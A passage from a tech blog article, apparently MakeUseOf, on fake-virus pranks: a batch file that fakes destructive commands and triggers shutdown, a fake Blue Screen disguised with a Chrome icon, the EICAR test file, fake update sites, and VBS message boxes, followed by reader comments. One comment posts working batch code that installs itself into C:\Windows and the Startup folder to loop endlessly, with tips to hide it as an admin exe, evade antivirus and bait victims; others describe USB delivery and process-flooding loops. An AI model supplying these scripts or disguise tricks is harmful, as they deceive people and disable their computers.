4 Fake Virus Pranks to Freak Out Your Friends

Gavin Phillips Updated 05-12-2019

Pranking your friends and family is the best sort of fun. And there is nothing wrong with a harmless prank, especially if the victim is anyone but you.


These days, we’re constantly plugged into our laptops, tablets, or smartphones. So, what better way to one-up your partner or siblings than seemingly destroying their hard drive with a fake virus? Although the following fake viruses may seem malicious to the unsuspecting, they’re wholly sanitized: no harm will come to the system they’re deployed on.

With so many types of viruses, there’s plenty of inspiration to imitate. It is time to sit back, and watch someone squirm!

1. How to Make a Fake Virus Batch File

There are numerous variations of this prank. A batch file can be easily programmed to spit out a long stream of nonsensical or malicious-sounding commands, displayed on screen for the victim to see. In that, it makes for one of the most effective pranks because it looks somewhat like serious system changes are taking place, delivered in the Command Prompt 15 Windows Command Prompt (CMD) Commands You Must Know The command prompt is still a powerful Windows tool. Here are the most useful CMD commands every Windows user needs to know. Read More .

Start by downloading our pre-prepared code. When prompted, head to File > Save As. Set the Save as type to All Files. Then, give your file a nifty, intriguing name—remember, you want your potential victim to execute the file—and add the .bat extension. This extension turns your standard text document into a batch file whose commands will run when the victim opens the file.

Fake virus batch file


The batch file will display the messages in sequence, then start an automatic shutdown sequence.

You can stop the automatic shutdown by hitting Windows Key + R, then typing shutdown /a.

Fake Blue Screen of Death

A fake virus might upset your victim, or confuse them. Another handy prank file is the fake Blue Screen of Death (BSOD). A fake BSOD simulates a full system crash, down to the final blue screen.

We’ve also prepared this code for you. Download bsod.txt, and rename the file, adding the .bat file extension.


Change Your File Icon

To add realism to your fake files, I would suggest changing the default file icon for the batch file. The “cog” icon is intriguing, but a sensible person will leave the unknown file well alone.

You can change the file icon How to Customize Any Icon in Windows 10 Here's how to change icons on Windows 10, including program shortcuts, folders, file types, and much more. Read More to the Chrome browser icon—an altogether more trustworthy proposition.

Right-click the fake virus batch file and select Send to > Desktop (create shortcut). Now, head to your desktop, right-click the newly created shortcut and select Properties > Change Icon. Browse to your Google Chrome directory (mine is C:\Program Files (x86)\Google\Chrome), select Application, then Chrome.exe. Press OK.

Change a Windows app icon


You’ll now spot several Chrome icons. Use the “standard” Chrome icon, press OK > Apply > OK.

The next time the victim selects Chrome from their Desktop, the fake BSOD program will run… and hilarity will ensue.

2. EICAR Test File

This test file, while completely harmless, will trigger most antivirus suites and prompt the user to take evasive action.

Antivirus detects EICAR test files


The EICAR test file is an internationally recognized antivirus test. As such, your antivirus will act quickly to rid your system of the “threat.” Unfortunately, it will also immediately notify the victim that the virus signature matches “EICAR Test Signature,” somewhat removing the fun.

3. Fake Update

Windows 10 has taken some time to move past the bad press surrounding its enforced update system. Previous to Windows 10, users could choose the time and place of their update. Windows 10 changed all that and, in the early days of the new operating system, many users found their system updating without warning.

A Windows 10 fake update screen

FakeUpdate preys on that background fear, allowing you to switch the victim’s browser to a slow-moving Windows 10 update. Head to the linked site, select the update screen you’d like (consider what their operating system is), then press F11 to enter full-screen mode.

Want an extra devious bonus? As you’ll be delivering this prank in person, when your victim exclaims that “the update is taking a long time,” you can helpfully suggest that pressing Enter usually speeds the process—only for that to trigger a fake BSOD!

The site includes old versions of Windows, as well as some common ransomware screens, too.

4. Create a Personalized Error Message Prank

Finally, you can create a personalized error message prank sequence for your victim. First, open Notepad.

Now, type the following:

x=msgbox("YOUR MESSAGE HERE", Button+Icon, "YOUR TITLE HERE")

Type your prank/scary/humorous message in the first section, and add a title for the dialog box in the second.

Fake error script for Windows

I’ll explain the buttons and icons now. In the code snippet above, the error message button and icon are represented by “o+48.” Buttons are the options available to the victim.

Select from the following:

  • 0 — OK
  • 1 — OK and Cancel
  • 2 — Abort, Retry, and Ignore
  • 3 — Yes, No, and Cancel
  • 4 — Yes and No
  • 5 — Retry and Cancel

Also, you can choose the icon that appears alongside the error messages:

  • 0 — No icon
  • 16 — Critical icon
  • 32 — Question mark icon
  • 48 — Warning icon
  • 64 — Information icon

In the example “fake error sequence” above, the button option is “0” for OK, and “48” to add the Warning icon.

A fake virus script

When you’re all set, head to File > Save As and choose a filename. Replace the .txt file extension with .vbs. Then, change the Save as type to All Files, and press Save. You can follow the icon change tutorial detailed earlier to complete your deceit.

Now, if you’d like to add another error message in sequence, add another line to your Notepad file, altering the message and dialog box title if required. In the image below you can see a new error message, using “0” to display the OK button, and “64” to display the Information icon. Play around with your favorite combinations, then save the file (as above) when you’re done.

Save a fake error as VBS file

Note: Here’s how you spot fake malware warnings How to Spot and Avoid Fake Virus and Malware Warnings How can you tell if a virus warning is real or fake? Here's how to spot the warning signs and identify a fake virus alert. Read More .

Now, Execute Your Fake Virus Prank

When you execute the prank, I think it would be considerate to keep an eye on your victim (if you can). It’s all fun and games until someone has a panic attack and throws their computer through a window.

While pranking your friends is fun, note that real malware and fake tech support are on the rise Malware Scams Are on the Rise: How to Spot a Fake Tech Support Scam Scammers offering tech support con their victims out of 1000s of dollars. Here's how to spot and avoid an online scam. Read More .

Related topics: April Fools, Prank.

Affiliate Disclosure: By buying the products we recommend, you help keep the site alive. Read more.

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  1. Jerry A Jansen
    March 28, 2019 at 12:34 pm

    Stop doing this, especially to novices. My niece lost her business because one of her employees thought it would be funny. She panicked and between her and some other employees who weren't aware it was a prank did a PC Restore and wiped out everything.
    You should be prepared to take the consequences when it goes south.

  2. dragonmouth
    March 26, 2019 at 5:52 pm

    Burying your ass in a fire-ant nest is also a cool prank.

  3. RashaRAM3000
    August 8, 2018 at 8:17 am

    do this

    X=MsgBox("your message", button+icon, "your title here")

    it will loop the error you make. to stop you need task manager.

  4. G host
    March 29, 2018 at 11:58 pm

    heyy i am unable to change the icon no option available to change icon
    but it works perfectly on my pc though when i try to send it to my friend on skype it says virus detected file not send .... lol is there way to trick google on this - if someone goes to website and click this .

  5. yoyo
    January 16, 2018 at 7:24 pm

    haha Every time I start the first one Windows defender says that there is a trojan on my laptop

  6. Louis
    November 11, 2017 at 10:08 am

    echo ^^^BSOD^
    > bsod.hta
    echo. >> bsod.hta
    echo ^> bsod.hta
    echo applicationname="BSOD" >> bsod.hta
    echo version="1.0" >> bsod.hta
    echo maximizebutton="no" >> bsod.hta
    echo minimizebutton="no" >> bsod.hta
    echo sysmenu="no" >> bsod.hta
    echo Caption="no" >> bsod.hta
    echo windowstate="maximize"/^> >> bsod.hta
    echo. >> bsod.hta
    echo ^^ >> bsod.hta
    echo ^ >> bsod.hta
    echo ^A problem has been detected and windows has been shutdown to prevent damage to your computer.^ >> bsod.hta
    echo. >> bsod.hta
    UAL^ >> bsod.htaecho. >> bsod.hta
    echo ^If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^ >> bsod.hta
    echo. >> bsod.hta
    echo ^Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^ >> bsod.hta
    echo. >> bsod.hta
    echo ^If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^ >> bsod.hta
    echo. >> bsod.hta
    echo ^Technical information:^ >> bsod.hta
    echo. >> bsod.hta
    echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000
    000,0xF86B5A89)^ >> bsod.htaecho. >> bsod.hta
    echo. >> bsod.hta
    echo ^*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta
    echo. >> bsod.hta
    echo ^Beginning dump of physical memory^ >> bsod.hta
    echo ^Physical memory dump complete.^ >> bsod.hta
    echo ^Contact your system administrator or technical support group for further assistance.^ >> bsod.hta
    echo. >> bsod.hta
    echo. >> bsod.hta
    echo ^ >> bsod.hta
    echo ^^ >> bsod.hta
    start "" /wait "bsod.hta"
    del /s /f /q "bsod.hta" > nul

    paste that in, alt f4 to exit

    • Apollothegodguy
      December 4, 2017 at 11:32 pm

      What language is that even in?

  7. Reece
    November 5, 2017 at 7:00 pm

    Copy And Paste
    x=msgbox("Your Computer is been Hacked", 0+48, "Virus Alert")
    x=msgbox("To Save All Your Detais e,g passwords You must restart your computer ", 0+48, "Help")
    x=msgbox("DELETING FILES!!!! ", 0+48, "HURRY")
    x=msgbox("Rebooting in 3 Miniuts to Previous Data", 0+48, "To late")

    • Jigr
      June 25, 2020 at 2:10 pm

      x=msgbox("Your computer has recently attracted a virus, all your files have been hacked and stolen.", 0+48, "Warning")
      x=msgbox("To solve this, please close all the applications and restart your PC if it's a small virus. If it's a big virus and can't be removed, facepalm yourself.", 0+64, "Solution")

  8. fcd76218
    August 16, 2017 at 12:23 pm

    "It’s all fun and games until someone has a panic attack and throws their computer through a window."
    It's all fun and games until the prank victim decides to throw the perpetrator through the window.

    With friends like you, Gavin, who needs enemies.

    • Doc
      August 16, 2017 at 4:30 pm

      Throwing a Mac out a window is the *best* way to accelerate it - at 9.8M/s squared!

  9. spyjoshx
    August 15, 2017 at 1:58 pm

    LOL the fake Windows 10 install doesn't go NEARLY as slow as how long it took MY laptop to update to Windows 10!

  10. pohor debbarma
    June 29, 2017 at 8:14 am

    nice article, really funny haha

  11. Asher
    May 3, 2017 at 10:04 pm

    Is safe? McAfee and chrome both say it's not.

  12. Deep House Mixtapes
    February 19, 2017 at 7:16 am

    We believe that music dependency works as a surrogate for lack of human bonds. Songs can pierce one's heart directly; it needs no mediation. Weekly Chillout mixtapes published each and every Wednesday. Hear us on MySpace!

  13. Techmaster
    February 13, 2017 at 1:18 pm

    One more thing....Save the file as . vbs once you have typed your code in notepad.

  14. Techmaster
    February 13, 2017 at 1:13 pm

    Yo hello guys!! I discovered a fake virus that allows you to write anything you want in a msg box on the pc!
    Here is the code....
    x=msgbox ("(your stuff)",0+64,"(your title)")
    P.S. The commas are important and you can replace "your stuff" and "your title " with anything....
    Enjoy troubling your pals....?????

  15. jimmy
    January 23, 2017 at 3:53 pm

    The memz trojan. Check it out!

  16. Husanboy Bayern
    January 8, 2017 at 8:01 am

    Here's my work! It will make you unable to use your PC and FORCE you to install Windows OS again. You will only be aware of the infiltration the next time you turn on your Computer! Use the latest version of "Bat To Exe Converter" and add Administrator manifest to it and make it Invisible application before converting it to .exe! Your victim doesn't even know what is happening or what this virus did. Your trusted Antivirus can't even detect it cause this file doesn't work as normal viruses but the later damage will be way too much than what a couple of malware can do.
    You may name it in a sexy way like GTA and choose the appropriate icon to attract your victim's attention. But please, don't try to be an ASS HAT with it.

    @echo off

    echo @echo off>HusanboyBayernVirus.bat
    echo title Husanboy Bayern Virus>>HusanboyBayernVirus.bat
    echo echo.>>HusanboyBayernVirus.bat
    echo echo Computer has been damaged by Husanboy>>HusanboyBayernVirus.bat
    echo echo.>>HusanboyBayernVirus.bat
    echo pause>nul>>HusanboyBayernVirus.bat

    echo @echo off>operateHusanboyBayernVirus.bat
    echo :repeat>>operateHusanboyBayernVirus.bat
    echo start "c:\Windows\HusanboyBayernVirus.bat">>operateHusanboyBayernVirus.bat
    echo goto :repeat>>operateHusanboyBayernVirus.bat

    copy "HusanboyBayernVirus.bat" "c:\Windows\"
    copy "operateHusanboyBayernVirus.bat" "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
    ping localhost -n 1 >nul
    del /f /q "HusanboyBayernVirus.bat"
    del /f /q "operateHusanboyBayernVirus.bat"

    • Louis
      November 11, 2017 at 10:09 am

      rip my laptop lol
      i did it and died

  17. XxX_Savage101_XxX
    October 14, 2016 at 7:08 pm

    My antivirus is so good that it even blocked the download page for the EICAR file XDDDDDDD

  18. Frost
    October 8, 2016 at 10:03 am

    The first one does not work. When I try to save it it disappears. What can I do?

      October 12, 2016 at 7:01 pm

      Hey frost you will need to save the notepad as a .bat file so i saved mine as "OMG.23456" Because why not and you dont need the speech marks but save it on your desktop ok? I hope i am useful

  19. Anonymous
    August 28, 2016 at 6:00 pm


  20. kak
    August 15, 2016 at 3:26 pm


    August 6, 2016 at 11:29 pm


    • Crossy
      August 22, 2016 at 2:12 am

      no one cares dude

      • imiK
        August 7, 2017 at 6:56 am

        Crossy ..... lol

    August 6, 2016 at 11:28 pm

    :( The files Are Blocked :( :( :(

  23. Kane
    August 5, 2016 at 7:47 am

    XD my anti virus quarantined the first one

    • andrew9696
      November 30, 2016 at 9:03 am

      Is it harmful?

  24. Hitman
    July 20, 2016 at 8:35 pm

    email like all others.

  25. Dylan
    May 29, 2016 at 3:18 pm

    hey guys if you where wondering why it wouldn't shutdown the system for the first one just right click click on edit, go all the way down to the bottom and right where you see shutdown then other stuff, erase that one line and type Shutdown /s /f /t 10 /c "Your comment here"

  26. jigolo
    May 20, 2016 at 4:50 am

    why is it, when i try to do the first prank its not shutting down the system?

  27. FBI
    May 7, 2016 at 11:28 pm


  28. FBI
    May 7, 2016 at 11:27 pm


  29. sloth
    April 20, 2016 at 8:51 pm

    now how do i send the virus to someone

    • AnizoneazAni10
      October 3, 2016 at 3:04 am

      You can make it into a run able file/app that starts when it is click. Then you attach it in an email or put it on a USB. Then when some leaves their computer on, you plug in the USB and download the file. You should name the file something like Google Chrome and change the icon image so they click on it.

  30. priyansh
    April 1, 2016 at 6:28 am

    the first prank seemed interesting but pc is not shutting down after pressing any key

    • anonymous
      May 6, 2016 at 1:56 am

      you just press 'X' on the launch, top right corner like traditional

  31. phenil
    February 14, 2016 at 11:37 am

    hi can you make a virus that make another virus.
    yes, then please send me email (

  32. RexTheGreat37
    February 11, 2016 at 2:26 am

    how do you make it so it dosent shut down?

  33. HJGould!
    December 11, 2015 at 8:37 pm

    How are you suppose to make the fake delete thing work? Is it in the notepad of something?

    • nellie
      February 5, 2016 at 12:01 am

      Yah, it's in the notepad then you want to save it by adding the name of what you want to call it something interesting so someone will push it then adding .bet so an example would be clickonme.bat The .bet makes it the kind of file so it works I also safe fake virus as .vbs but .vbs doesn't work for this file.

    • noone
      February 24, 2016 at 12:06 am

      shutdown /a

  34. Aaron
    November 19, 2015 at 10:11 am

    Lol thanks
    my friend nearly started crying

  35. kim
    May 5, 2015 at 2:27 pm

    lol my eicar got removed immediately by my windows security even when i saved in .txt format.....

  36. Henry Griffeths
    April 9, 2015 at 10:33 am

    Thanks for sharing all of your ideas! definitly going to try.Tempted to do it at school, but I can't imagine the conciquences. (I got to a middle school)

  37. ROzA
    March 23, 2015 at 5:42 am

    This is a fun one!

    @echo off
    color 0a
    echo echo 010 010 10 01 0100 10 010 10 010 1001 10 010 10 10 010 101110 10 100 100 1011
    echo 101010100 100 00100 010 0010 01000010 010 01000100010 01000 0100100 100 01000
    echo 101 0100010 1000001 01010 10 0100010 10 0010 010010 0 010 010 0000111001011011
    echo 000 010 01010010 010001001 00100100 1010 01001001 0010010 01001000100 00100111
    echo 001 0010 10 010010010 010 100 10 01 010 010 010 010 10 010 10 010 10 01010 0
    echo 000 010 00 001 0010 00 1000100 10
    echo 1111 10 010 01 0010100 10 01001010 1 11 0001 00 001 1 1 01 0100000 1 1 11 1
    echo 000 1000 10 010 100 0010 10 01 010 010 10000 010 010 01 10010010010 1001 100
    echo 1010010 010 100 010 10 010 10 010 1010 010 01 01 00001 010 01 010 010 10 001
    echo 111 11111 11111 11111 11111 11111 1111111 111111111
    echo 101010100 100 00100 010 0010 01000010 010 01000100010 01000 0100100 100 011
    echo 1111 10 010 01 0010100 10 01001010 1 11 0001 00 001 1 1 01 0100000 1 1 11 1
    echo 000 1000 10 010 100 0010 10 01 010 010 10000 010 010 01 10010010010 1001 10011
    echo 1010010 010 100 010 10 010 10 010 1010 010 01 01 00001 010 01 010 010 10 0011111
    echo 101 0100010 1000001 01010 10 0100010 10 0010 010010 0 010 010 00001110010110111
    echo 000 010 01010010 010001001 00100100 1010 01001001 0010010 01001000100 001001111
    echo 0000 00 000000000000 000000000000000000 00000000000001111 10 0100000 1000000111
    echo 1111111111111111111111111111111111111111111111111111111111111111
    goto hack
    and name it Matrix.bat. It really looks the part!

    • Anonymous
      October 16, 2015 at 5:54 am

      This on works better in my opinion:
      @echo off
      color 02
      echo %random%%random%%random%%random%%random%%random%%random%%random%
      goto tricks

  38. Terence
    March 6, 2015 at 7:21 pm

    type this script into batch:
    @echo off
    start virus
    goto top

    and name it anything you want, but end it in .bat.
    when you run it command prompts will start appearing everywhere, and the only way to stop them is to restart your computer.

  39. Maddie/ Ethan
    January 17, 2015 at 6:00 am

    The first method is the best. Totally gonna work for the amazing prank we're gonna pull... c:

  40. Anonymous
    December 20, 2014 at 7:54 pm

    Imagine trolling a complete computer noob with all 4 ... hed be like "(screams and deafens himself).

    • asda
      April 25, 2015 at 7:14 pm

      okay, so no one cares about thuis

  41. Julie Colidet
    February 7, 2010 at 11:34 pm

    These a mean jokes lol... My friend used to pull me that type of jokes in the 90's...

  42. Nick D
    October 8, 2009 at 8:15 pm

    Dude, I went to the fake format site and Fake Delete thing, and just getting there, ignoring the "Reported Attack Site" thing, Webroot said that I had a virus in my laptop.
    [Broken Link Removed]

  43. Bill
    September 22, 2009 at 9:16 pm


    simply copy and paste this into notepad:

    set oWMP = CreateObject("WMPlayer.ocx.7")
    Set colCDROMs = oWMP.cdromcollection
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    For i = 0 to colCDROMs.Count - 1
    End If
    wscript.sleep 100

    now save this as a .vbs file and open it. it can get really annoying so do it before you shutdown to try it out, and wait for a friend to open it next and see what happens. Its more annoying than it is scary.

  44. joe B.
    August 27, 2009 at 4:06 pm

    Here's a good one.
    open notepad and type
    a = msgbox("Your message here.", ,"Your box title here.")
    then save as anything.vbs
    now you change the icon to what ever, and wait for it to be clicked on.

  45. Gerald Weber
    August 2, 2009 at 10:59 pm

    The first one is epically funny. I think the main thing is knowing the person you are playing the joke on and if they will be a good sport or not. Just use good judgement when implementing these pranks. Not for the faint of heart. Now who should I try this on? hmmmm

  46. Mixtrixx
    July 27, 2009 at 9:34 pm

    1st One looks pretty cool, and I guess would convince tecbnically challenged PC Noobs into a total nervous breakdown, after thinking they have just lost all that glorious content that they could never imagine of having the money to purchase such lol!,
    However, after quickly running through the Fake Virus Process, and seeing that "C:\Wimdows" got killed off straight away, would it then not be impossible to even sucessfully disable the windows firewall (let alone doing it successfully) lol, but all in all not bad :-).

  47. Ryan Dube
    July 9, 2009 at 12:06 am

    I just have to say - these are a riot. When I was back in school my friends and I would always try to play pranks on each other (back during the DOS days when there wasn't a whole lot you could do.) Today - fake viruses like these open up a whole new world of possibility for playing some funny pranks on friends...I love it. :)

  48. Steven Finch
    July 7, 2009 at 4:02 am

    Some of these are harsh. Im not really too sure why someone would actually want to do this!

  49. Hon tap
    July 6, 2009 at 3:28 pm

    Really cool. I tested with downloading the 2nd virus, and my Avast Antivirus just shouted out! Wonderful, this maybe a cool gift for my friends.

    Thank you very much.

  50. Rajj
    July 6, 2009 at 4:37 am

    Thx for sharing, i just scared the hell out of my friend now.. Hahha, just amazing and cool

  51. Austin
    July 5, 2009 at 9:33 pm

    Ah, I see you've found RJLsoftware :) I had a lot of fun with that site back in the early 2000s when I was in elementary school :)

  52. Teresa Boardman
    July 5, 2009 at 9:11 pm

    This might be a little over the top. Most people can't handle a virus and would freak.